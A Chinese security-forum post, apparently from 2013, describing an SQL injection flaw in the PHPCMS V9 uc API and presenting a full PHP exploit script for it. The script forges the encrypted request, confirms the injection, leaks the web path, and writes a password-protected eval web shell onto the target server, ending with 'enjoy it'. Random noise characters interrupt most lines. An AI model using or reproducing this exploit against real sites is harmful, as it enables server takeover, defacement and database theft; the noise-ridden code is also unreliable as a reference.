中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。2 j% ?3 ^4 q; K

2 c& n% }9 J# Z6 G所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) p! ]4 j% e/ ?9 Z1 c4 ~$ H% X

! t1 E5 j6 O. _6 b3 S$ T3 K漏洞分析:
" U7 y- U7 B1 W/ G7 K3 `. D1.未启用ucenter服务的情况下uc_key为空
6 g1 A3 K+ ^, }8 K! v# T. Y. zdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));3 j& Y* q- A( C9 L# G2 N! Z
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。% H: t( W* l1 f& {- j& B
    public function deleteuser($get,$post) {+ z* M: C- M3 n: ^9 S$ [$ S1 S
        pc_base::load_app_func('global', 'admin');, A. c" j+ S( m" [9 Y
        pc_base::load_app_class('messagequeue', 'admin' , 0);
+ z, ?) j# X- K, ^        $ids = new_stripslashes($get['ids']);
; L1 u( p# Y8 J        $s = $this->member_db->select("ucuserid in ($ids)", "uid");+ W9 Q' c, c1 t  O+ k: d. R  |
SQL语句为0 T. W3 Z, e( Q3 W; Q6 |$ S4 z
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; I  f4 s- m, e1 \7 L/ `9 A1 M  m$ g* C; a# k+ W9 y7 L
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
( A% h' D6 j1 |9 w/ A<?php9 R5 y9 @& G2 g+ O; d
print_r('
* {* _7 _) I0 Z: f' V, S9 D# ^---------------------------------------------------------------------------
& f, ?* U: `/ J# m3 qPHPcms (v9 or Old Version) uc api sql injection 0day% p/ s  @7 S" S- Z. |$ G
by rayh4c#80sec.com& v) E: q/ V& Y" R. i% v
---------------------------------------------------------------------------. |8 m+ J, P' J5 f# B* }
');
. A2 V5 t- V# X# c, Y) I8 X9 Z2 S, A, I7 ~! U4 P
if ($argc<3) {0 e7 [5 b4 H# c+ }) V  w  Y
    print_r('4 G+ w( ?( Y) Z' W
---------------------------------------------------------------------------7 ~. U2 A8 H4 p6 a
Usage: php '.$argv[0].' host path OPTIONS
$ G3 X1 g/ F1 K' K8 c4 g, w4 H" q# \host:      target server (ip/hostname)3 a6 I3 H8 @5 b  h  B- T; y; _+ V/ Z
path:      path to phpcms
6 r( j/ H# {  p2 o& q! r' L1 ^Options:
1 m* ]2 f6 l  A; Z -p[port]:    specify a port other than 80
  P: \4 V! v' c4 l) d8 n -P[ip:port]: specify a proxy9 y$ n7 Z- r( h# }7 R
Example:, W  F6 I- M3 Y  W- b
php '.$argv[0].' localhost /
# f/ B& D! G1 ]2 ^php '.$argv[0].' localhost /phpcms/ -p81& e2 Y# ]% X5 K8 ?3 a3 {& U
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
0 n6 k8 |1 q6 U---------------------------------------------------------------------------% u% i* D5 n  u  {: u6 o
');
, l! R3 L& a3 D! g# s  U    die;
9 m  F% q* S: j4 m. d}" I2 r1 Y* K# T4 |; L1 i/ d1 ~4 S
  m; |; I8 p+ g! j% ^* B% h
error_reporting(7);6 Y+ Q: P6 g4 M$ Q$ q, \, }' U4 b
ini_set("max_execution_time",0);
; h3 o+ p) B% d. g* U; X3 jini_set("default_socket_timeout",5);
# Q/ n1 D- n& D) o: R# v2 }' W
: B7 Q! `, |/ ]* H/ ifunction quick_dump($string)" l1 v2 P0 [4 x) }6 r) D
{0 Q8 E6 L/ F; p+ ~
  $result='';$exa='';$cont=0;. Y% B. L. B9 e$ D& X, N8 P( d
  for ($i=0; $i<=strlen($string)-1; $i++)
5 |# X6 z0 x, S0 l  {$ a" z+ c) E' b' [
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))! b: U4 }, u1 M& F( H! W
   {$result.="  .";}! u9 y9 m! D" W+ {) W1 \. g0 G
   else
! P3 Q* C9 Q) m, D: `: J1 W   {$result.="  ".$string[$i];}
& o& V* i& D* [   if (strlen(dechex(ord($string[$i])))==2)( ?8 i9 _! Y+ M' t/ V9 _% l
   {$exa.=" ".dechex(ord($string[$i]));}
$ r6 Z5 W8 ?7 d) z% i   else
) A1 P2 r, [6 x   {$exa.=" 0".dechex(ord($string[$i]));}
* a" ]* h' {, L( y2 p5 v   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}7 B3 X  T* W0 t" @
  }4 W( |# \, W" c6 o# i0 S
return $exa."\r\n".$result;! [: G, a/ ~7 ?3 D9 H
}6 ]4 F$ B8 C& C3 G0 c
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
: s3 P( u) X5 h9 s4 J& Y% h' \: t4 C6 k4 x7 X9 Q/ D; P9 V  a) U. Q
function send($packet): e2 v% H0 I. M! v) [4 ]& U
{# G9 X' T5 g. B' u5 W1 Y5 F
  global $proxy, $host, $port, $html, $proxy_regex;) i# [6 C" B2 _6 a7 F( k3 X
  if ($proxy=='') {
" X# x7 L1 X/ f    $ock=fsockopen(gethostbyname($host),$port);3 ~6 @1 w+ R- Q9 _) y% B
    if (!$ock) {' {/ c, L& g/ b; C: I( a4 M
      echo 'No response from '.$host.':'.$port; die;
/ l. C) \' {0 {' {  {0 d- M' q    }# l6 E7 ~& y- |/ j) i& L3 P
  }. _4 H# z4 D' C( A5 X* x
  else {  s% f$ o( ~6 H' _
        $c = preg_match($proxy_regex,$proxy);
) R( o. u  X: \6 E# K* [    if (!$c) {
* j4 a6 G) t3 I      echo 'Not a valid proxy...';die;" h6 m9 L7 x4 g0 o! S% e  t$ B5 r
    }
: p& R+ P, g* P8 }  L1 g6 M  d+ X, N4 c    $parts=explode(':',$proxy);
# H2 T" ]* |" N/ r& }    $parts[1]=(int)$parts[1];
- Q$ Y6 C* G; W' U$ K9 a+ d+ u    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";6 Z0 z: z2 L; r/ p" g: f# b/ v/ Y$ I
    $ock=fsockopen($parts[0],$parts[1]);* ~2 r: @( j' v+ U2 p8 }( K
    if (!$ock) {1 C. c/ G3 Z1 v) z' C! c
      echo 'No response from proxy...';die;& R, E0 G8 r; ]
        }
$ x  Z0 ~0 ^. \! V4 F$ |  K: s  }/ B4 l  V' \+ _/ }
  fputs($ock,$packet);
2 n0 f3 r$ l: ?: u  if ($proxy=='') {$ q( e( N3 \& T* _" ]
    $html='';
  u$ ]9 B$ k$ m( M5 T    while (!feof($ock)) {, q8 i2 g/ e$ d) L) H6 X' _
      $html.=fgets($ock);! `; z. X5 s( F, a9 m
    }% `, n7 e9 u# d
  }
5 r% l# [2 B! P$ i% l  else {4 \+ C3 p. y" Q
    $html='';
9 K  z: }8 G4 x5 G    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' _% z) O3 ~% T" }7 Q- p6 J      $html.=fread($ock,1);
' b7 \' {, Z9 w3 O) l    }* m9 Y6 C6 V0 [% u2 }% ?0 u, w% g
  }
" K5 G' t) s9 p- O3 `  fclose($ock);$ X3 _9 G$ b2 m9 T/ M. @, R- `
}- T  {6 J. h: q1 B  _

1 X8 n3 V7 R5 D9 I! u9 k6 w$host=$argv[1];7 m9 c4 d8 K5 ?# _/ k
$path=$argv[2];
5 R2 i$ H6 t6 S0 M$port=80;
6 D1 E9 s) t) X9 z3 ]$ g- Z$proxy="";
+ ^# }- r1 n/ i! W$ ~" \for ($i=3; $i<$argc; $i++){: k- }; L" e7 [# ?& f% {: W5 ]
$temp=$argv[$i][0].$argv[$i][1];
/ |7 @' r. M5 `) K! `& F% {8 hif ($temp=="-p")- {: M  Y+ w9 ]: U$ L$ X/ ^+ g
{
6 ~  I5 S9 N1 ^, O7 R9 \/ ?  $port=(int)str_replace("-p","",$argv[$i]);+ I7 |" u" l7 [; ?2 s" g" ]
}
! [& ~* s2 I9 {8 e) Z: c3 \( vif ($temp=="-P")8 `$ s8 L  E0 l9 s: Y
{
' T) ~/ l! m+ H6 d( S. E  $proxy=str_replace("-P","",$argv[$i]);
7 i  S1 ^9 L+ }$ C! a: i1 B}
- a* V0 {4 h# ~  |( P& s/ b# s}
* j  ], x/ ?+ n! W/ ?0 m* n# _  P; c+ F- r/ J5 c" K3 x
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
2 G! S! w* |9 S7 k, qif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}) u% V" w: D5 V) c2 ?7 Y
1 P1 z8 j& O+ m. x& ?. d! s, O! F
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {! T. }" c( b0 }% [

- s6 F% |1 W0 u! A# H- f: j    $ckey_length = 4;
4 I1 P6 R/ h' p/ r
3 C0 t! R0 S; v$ N# ~  @1 k( l    $key = md5($key ? $key : '');3 C+ |% E# `$ ~
    $keya = md5(substr($key, 0, 16));# ~( x; ?- X& K3 L7 f# J# U* |
    $keyb = md5(substr($key, 16, 16));& u- w% h$ G" P( q& g2 x- i' |
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';8 P. }% x. ~6 y4 L* k
+ c0 m7 z& Q: r' O* z4 Q( }
    $cryptkey = $keya.md5($keya.$keyc);# M% @7 }$ W+ w. H2 |
    $key_length = strlen($cryptkey);* W. q! H9 a9 v
$ c. [/ S3 r3 b
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;! {. t4 B' g9 L1 ~5 i9 e
    $string_length = strlen($string);
# g( e* k7 x/ K# O* C; Q" s& S/ c  P2 _; F
    $result = '';
* t$ H# u6 X6 t    $box = range(0, 255);5 ~7 v5 |) v& x" ]+ l4 v5 ]5 @) E# h
. |7 j1 f3 X# e( G% N5 f) Z, Q
    $rndkey = array();
2 U+ }/ F0 M: v2 C6 s, }0 ^" B    for($i = 0; $i <= 255; $i++) {/ l: d$ Q8 X+ v2 I3 a) n2 ~
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);" f7 |5 g% w- l6 o7 g7 S- Q' W
    }
+ G( I: y: ~: J1 N( v  R8 @* O' l* ^% {) S
    for($j = $i = 0; $i < 256; $i++) {1 Y/ {  j5 u3 x# Y9 k
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, ]& q7 l1 ~% P) U        $tmp = $box[$i];
  P; \9 A) z0 |5 U9 j, d        $box[$i] = $box[$j];+ f, c: a( j2 d9 F0 i0 Q, c
        $box[$j] = $tmp;( m  o( {; g* B- a
    }
6 m) d! C8 k2 a% P& f9 s# k3 K. T3 y, w& F- [% v
    for($a = $j = $i = 0; $i < $string_length; $i++) {( H- c: c$ K7 J$ h: @' d
        $a = ($a + 1) % 256;
2 d: \( x1 {8 B% E        $j = ($j + $box[$a]) % 256;1 K  X0 T) N/ Z
        $tmp = $box[$a];$ e6 g, ^1 J, g. N
        $box[$a] = $box[$j];
; ^9 g" B2 y7 I8 t5 a        $box[$j] = $tmp;) G5 O8 f, ?7 i( ^
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" R- G  Q5 M% D7 H6 t    }
: U! z: }: P5 t1 e# M7 r8 V7 {
0 ]! ~6 A0 }( u% D4 Y    if($operation == 'DECODE') {6 q/ f( I5 E* c; _% c
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {9 ^! S. A9 P% L+ T! I' {4 s4 P
            return substr($result, 26);
2 U: M6 ?0 A) ~+ a. p* M        } else {
: Q% L& P& p9 y: u2 b2 `            return '';1 ]7 ^+ p0 r( ~
        }
! q& M+ J; K4 Y- [) X  Q# k    } else {
- o8 [- C2 _; g+ t" {; i3 c+ E        return $keyc.str_replace('=', '', base64_encode($result));
" v6 ]( H& }( `7 b    }2 L; o% b) g0 N" c. ~1 v
' V- `9 L4 y% u
}
; t* ^9 e, B. x( ^9 k
- f4 @9 q8 L1 U1 V$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 ~! b* N8 e4 e3 o3 D8 ~$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 V1 \, `* s# c0 @echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 n3 X: `7 }" @& I5 l
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, q6 E% R3 c1 u( o% j$packet.="User-Agent: Mozilla/5.0\r\n";1 I5 d1 Z# \0 S
$packet.="Host: ".$host."\r\n";0 @2 N* W# }% j" O  q3 B* M
$packet.="Connection: Close\r\n\r\n";
. c; h$ L# C7 x. o( E5 ysend($packet);# X2 D' E# ?  \; I" j
if(strpos($html,"MySQL Errno") > 0){
/ @$ t6 Q8 y" Iecho "[2] 发现存在SQL注入漏洞"."\n";
: v2 F; ]1 p, n" M+ [echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% w$ E/ O5 J! p/ E( h8 y: w; |! K
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";+ u/ ]9 H( b' d$ K' U1 j
$packet.="User-Agent: Mozilla/5.0\r\n";
* S" u  L5 X8 w! |% n8 T0 z5 h$packet.="Host: ".$host."\r\n";
7 ~7 h4 m# |9 a4 F* |  w$packet.="Connection: Close\r\n\r\n";
6 m- |3 e% a; z' _9 Y1 G* ssend($packet);! |% q% [& M+ E& K. d2 B  b$ |
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);9 f$ K$ z' ^6 {8 |( l8 Q5 L
//print_r($matches);& c+ |! N2 J  _$ p- a/ f0 \) b' Y
if(!empty($matches)){" d- K7 Q2 O( h* A( X% k
echo "[4] 得到web路径 " . $matches[0]."\n";
, L) w3 u( o7 r+ w$ r4 Techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";6 o- p) M1 i2 g; V
$SQL = "time=999999999999999999999999&ids=1)";
* Z2 Q0 A* a* K* m$ T* v$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' i; k6 L$ j7 K% f5 Z$SQL.="&action=deleteuser";
1 b% Q1 t: K) ]4 e2 T$ ]7 E1 s$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: G  u3 f: b5 F4 s3 `echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";; G1 L4 y9 @' _6 O5 C
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";' ]! ~* I$ I. [1 c" f3 q
$packet.="User-Agent: Mozilla/5.0\r\n";
: g# d6 N1 W7 o4 s! K) m6 {$packet.="Host: ".$host."\r\n";5 D4 m( ~- V0 `1 B. M+ l3 p
$packet.="Connection: Close\r\n\r\n";
( i1 A- i+ }  B5 c2 L- {: |send($packet);
( \& }) E  \1 ?9 L6 M% w) kif(strpos($html,"Access denied") > 0){: }0 r: c6 _1 l) A
echo "[-] MYSQL权限过低 禁止写入文件 ";! Z5 h" {( E7 o- ^# B6 |1 ~
die;1 p( G3 S$ _, r. ^3 F1 k, ]
}
# [2 N3 z: P8 N, y/ p( Techo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
- H+ v( [& h& N$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ b4 G3 U1 g; ]# a& y' o6 M$packet.="User-Agent: Mozilla/5.0\r\n";& p4 L# T9 {1 r+ E* {6 ]& t
$packet.="Host: ".$host."\r\n";
' q2 [4 d6 Y# q* s" v$packet.="Connection: Close\r\n\r\n";  t# ^) ~5 u" H  b8 A) H
send($packet);
$ b0 v1 P$ [0 mif(strpos($html,"<title>phpinfo()</title>") > 0){
4 a# ~  A3 J2 j/ oecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( Y% P2 ^" ^4 @/ x, A, `}
& c3 ?6 S6 j. Q! ^2 F$ V- X! b# k}else{
6 S+ H( D  o* y2 ]. w4 P; o, F' oecho "[-]未取到web路径 ";) \* j8 e, `" h. f* t0 k7 }( v* h, q
}
, N; e  g2 A. ~7 j, n5 J( s. m}else{
$ T; c2 f- q, K4 ~: Oecho "[*]不存在SQL注入漏洞"."\n";
! d+ k( F; v7 E7 Y}- _$ f* E* u5 a9 ~, T! W

* d1 u) _# O4 g4 f( ~" R?>
$ J$ Y* R/ a  T




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2